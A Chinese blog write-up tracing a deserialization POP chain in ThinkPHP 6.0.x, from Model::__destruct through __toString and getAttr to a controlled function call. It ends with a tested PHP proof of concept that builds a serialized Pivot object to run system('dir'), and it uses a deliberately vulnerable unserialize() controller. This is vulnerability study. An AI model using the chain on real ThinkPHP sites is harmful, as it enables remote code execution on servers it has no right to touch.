thinkphp6.0.x 反序列化详记（一)
前言
这几天算是进阶到框架类漏洞的学习了，首当其冲想到是thinkphp，先拿thinkphp6.0.x来学习一下，体验一下寻找pop链的快乐。
在此感谢楷师傅的帮忙~
环境配置
用composer指令安装：
composer create-project topthink/think tp
修改入口Index：/app/controller/index.php
<?php
namespace app\controller;
class Index
{
public function index($input='')
{
echo $input;
unserialize($input);
}
}
目的：假设现实中在入口文件中存在直接反序列化点，且参数可控：unserialize($_GET['input'])。
构造pop链
寻找__destruct方法
首先一般先寻找__destruct魔法函数，在Model类（vendor/topthink/think-orm/src/Model.php）：
public function __destruct()
{
if ($this->lazySave) {
$this->save();
}
}
可以得到第一个条件：当$this->lazySave==True时，可以执行$this->save()。
跟进save方法
public function save(array $data = [], string $sequence = null): bool
{
// 数据对象赋值
$this->setAttrs($data);
if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
return false;
}
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
if (false === $result) {
return false;
}
// 写入回调
$this->trigger('AfterWrite');
// 重新记录原始数据
$this->origin = $this->data;
$this->set = [];
$this->lazySave = false;
return true;
}
首先要绕过if判断，否则无法执行后面的代码：
if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
return false;
}
也即需要两个条件：
$this->isEmpty()==false
$this->trigger('BeforeWrite')==true
其中isEmpty()：
public function isEmpty(): bool
{
return empty($this->data);
}
因此必须有$this->data!=null才可以满足第一个条件。
再看trigger('BeforeWrite')，位于ModelEvent类中：
protected function trigger(string $event): bool
{
if (!$this->withEvent) {
return true;
}
.....
}
因此必须有$this->withEvent==false才可以满足第二个条件，但是我们也可以选择不管，让$this->withEvent==null也可以满足。
满足两个条件后绕过if判断，接着关注到：
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
通过判断$this->exists布尔值来选择执行updateData()或者insertData()，所以先看看这两个方法哪一个可以利用。
分别跟进这两个方法，发现updateData方法可以继续利用。
跟进updateData方法
protected function updateData(): bool
{
// 事件回调
if (false === $this->trigger('BeforeUpdate')) {
return false;
}
$this->checkData();
// 获取有更新的数据
$data = $this->getChangedData();
if (empty($data)) {
.....
}
if ($this->autoWriteTimestamp && $this->updateTime && !isset($data[$this->updateTime])) {
// 自动写入更新时间
.....
}
// 检查允许字段
$allowFields = $this->checkAllowFields();
发现能够执行$this->checkAllowFields()，但是需要绕过前面的两个if判断，必须满足两个条件：
$this->trigger('BeforeUpdate')==true，在前面的$this->withEvent==true已经可以满足。$data!=null
为了满足第二个条件，要寻找$data的来源：
$data = $this->getChangedData();
回溯到getChangedData()方法：
public function getChangedData(): array
{
$data = $this->force ? $this->data : array_udiff_assoc($this->data, $this->origin, function ($a, $b) {
if ((empty($a) || empty($b)) && $a !== $b) {
return 1;
}
return is_object($a) || $a != $b ? 1 : 0;
});
// 只读字段不允许更新
foreach ($this->readonly as $key => $field) {
if (isset($data[$field])) {
unset($data[$field]);
}
}
return $data;
}
由于$this->force默认为null，因此会执行冒号的后部分：
array_udiff_assoc($this->data, $this->origin, function ($a, $b) {
if ((empty($a) || empty($b)) && $a !== $b) {
return 1;
}
return is_object($a) || $a != $b ? 1 : 0;
})
由于$this->data和$this->origin也默认为null，所以不符合第一个if判断，最终`$data=0，也即满足前面所提的第二个条件。
另外也可以通过外加使$this->force！=null，这样就会使$data=$this->data，此时再外加使$this->data!=null也同样可以满足第二条件了。
满足两个条件后跟进到$this->checkAllowFields()。
跟进checkAllowFields方法
protected function checkAllowFields(): array
{
// 检测字段
if (empty($this->field)) {
if (!empty($this->schema)) {
$this->field = array_keys(array_merge($this->schema, $this->jsonType));
} else {
$query = $this->db();
$table = $this->table ? $this->table . $this->suffix : $query->getTable();
$this->field = $query->getConnection()->getTableFields($table);
}
return $this->field;
}
$field = $this->field;
if ($this->autoWriteTimestamp) {
array_push($field, $this->createTime, $this->updateTime);
}
if (!empty($this->disuse)) {
// 废弃字段
$field = array_diff($field, $this->disuse);
}
return $field;
}
这里发现了字符串拼接$this->table . $this->suffix，只要有一个变量为对象即可触发该类的__toString魔法函数。但在此之前先关注拼接前做了什么。
很明显必须使$this->field=null和$this->schema=null才会执行else步骤。这两个条件默认都满足，那么继续看$this->db()这个方法。
跟进db方法
public function db($scope = []): Query
{
/** @var Query $query */
$query = self::$db->connect($this->connection)
->name($this->name . $this->suffix)
->pk($this->pk);
if (!empty($this->table)) {
$query->table($this->table . $this->suffix);
}
.....
// 返回当前模型的数据库查询对象
return $query;
}
由于$this->table默认为null，因此可以发现db方法也存在$this->table . $this->suffix参数的拼接，也可以触发__toString。
到此为止可以知道必须要有两个外加条件：
$this->exists = true;
$this->$lazySave = true;
//$this->$withEvent = false; //可有可无
寻找__toString触发点
在另外一个类Conversion中（vendor/topthink/think-orm/src/model/concern/Conversion.php）,存在__toString魔法函数：
public function __toString()
{
return $this->toJson();
}
跟进toJson方法
public function toJson(int $options = JSON_UNESCAPED_UNICODE): string
{
return json_encode($this->toArray(), $options);
}
跟进toArray方法
public function toArray(): array
{
$item = [];
$hasVisible = false;
foreach ($this->visible as $key => $val) {...}
foreach ($this->hidden as $key => $val) {...}
// 合并关联数据
$data = array_merge($this->data, $this->relation);
foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
$val->visible($this->visible[$key]);
} elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
$val->hidden($this->hidden[$key]);
}
// 关联模型对象
if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
$item[$key] = $val->toArray();
}
} elseif (isset($this->visible[$key])) {
$item[$key] = $this->getAttr($key);
} elseif (!isset($this->hidden[$key]) && !$hasVisible) {
$item[$key] = $this->getAttr($key);
}
}
....
}
我们要执行的是后面的倒数第二个getAttr方法。
来看看触发条件：
$this->visible[$key]存在，即$this->visible存在键名为$key的键，而$key则来源于$data的键名，$data则来源于$this->data，也就是说$this->data和$this->visible要有相同的键名$key。
然后把$key做为参数传入getAttr方法。
跟进getAttr方法
位于Attribute类（vendor/topthink/think-orm/src/model/concern/Attribute.php）中：
public function getAttr(string $name)
{
try {
$relation = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$relation = $this->isRelationAttr($name);
$value = null;
}
return $this->getValue($name, $value, $relation);
}
首先将$key传入getData方法，继续跟进getData方法。
跟进getData方法
public function getData(string $name = null)
{
if (is_null($name)) {
return $this->data;
}
$fieldName = $this->getRealFieldName($name);
if (array_key_exists($fieldName, $this->data)) {
return $this->data[$fieldName];
} elseif (array_key_exists($fieldName, $this->relation)) {
return $this->relation[$fieldName];
}
throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}
跟进getRealFieldName方法
protected function getRealFieldName(string $name): string
{
return $this->strict ? $name : Str::snake($name);
}
当$this->strict为true时直接返回$name，即$key
回到上面的getData方法，此时$fieldName = $key，进入判断语句：
if (array_key_exists($fieldName, $this->data)) {
return $this->data[$fieldName];
}
返回$this->data[$key]，记为$value，再回到上上面的getAttr方法：
return $this->getValue($name, $value, $relation);
也即：
$this->getValue($key, $value, null);
跟进getValue方法
protected function getValue(string $name, $value, $relation = false)
{
// 检测属性获取器
$fieldName = $this->getRealFieldName($name);
$method = 'get' . Str::studly($name) . 'Attr';
if (isset($this->withAttr[$fieldName])) {
if ($relation) {
$value = $this->getRelationValue($relation);
}
if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
$value = $this->getJsonValue($fieldName, $value);
} else {
$closure = $this->withAttr[$fieldName];
$value = $closure($value, $this->data);
}
.....
关注到倒数的关键语句：
$value = $closure($value, $this->data);
让$closure作为我们想要执行的函数名，$value和$this->data为参数即可实现任意函数执行。
所以想办法让程序往这个方向执行，首先\(this->getRealFieldName(\)name)，跟进getRealFieldName方法：
protected function getRealFieldName(string $name): string
{
return $this->strict ? $name : Str::snake($name);
}
因此应该使$this->strict==true，这样不影响$name，再回到getValue方法。
$method 不影响后面过程没必要关注，进入if判断$this->withAttr[$fieldName]是否有定义，因此我们必须外加$this->withAttr，具体的值继续往下看。
接下去对$relation的if判断不用管，关注最后的if判断：
if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
$value = $this->getJsonValue($fieldName, $value);
} else {
$closure = $this->withAttr[$fieldName];
$value = $closure($value, $this->data);
}
目标是执行else的代码，由于是且判断，因此只需is_array($this->withAttr[$fieldName])==false,那么让$this->withAttr[$fieldName]=null就可以了。
最后一个赋值语句，我们可以通过 $this->withAttr[$fieldName]控制想要执行的函数的名称：
$closure = $this->withAttr[$fieldName];
至此pop链找到了，总结后半部分需要的外加条件：
$this->table = new think\model\Pivot();
$this->data = ["key"=>$command]; //要传入的参数
$this->visible = ["key"=>1];
$this->withAttr = ["key"=>$function]; //要执行的函数名称
$this->$strict = true;
POP预览流程
借用Somnus师傅的图：
触发__toString之前：
触发__toString之后：
POC代码
果然开发能力还是太菜了，debug了很久才写出来，亲测有效：
<?php
namespace think;
abstract class Model{
use model\concern\Attribute;
private $lazySave=false;
private $exists = true;
private $data=[];
function __construct($obj){
$this->lazySave=true;
$this->exists=true;
$this->data=['key'=>'dir'];
$this->table=$obj;
$this->strict=true;
$this->visible = ["key"=>1];
}
}
namespace think\model\concern;
trait Attribute{
private $withAttr = ["key" => "system"];
}
namespace think\model;
use think\Model;
class Pivot extends Model{
function __construct($obj){
parent::__construct($obj);
}
}
$obj1=new Pivot(null);
echo urlencode(serialize(new Pivot($obj1)));
结果：
楷师傅的POC，还没试过。
还有知识星球dalao自动生成payload的程序，详见安全客文章
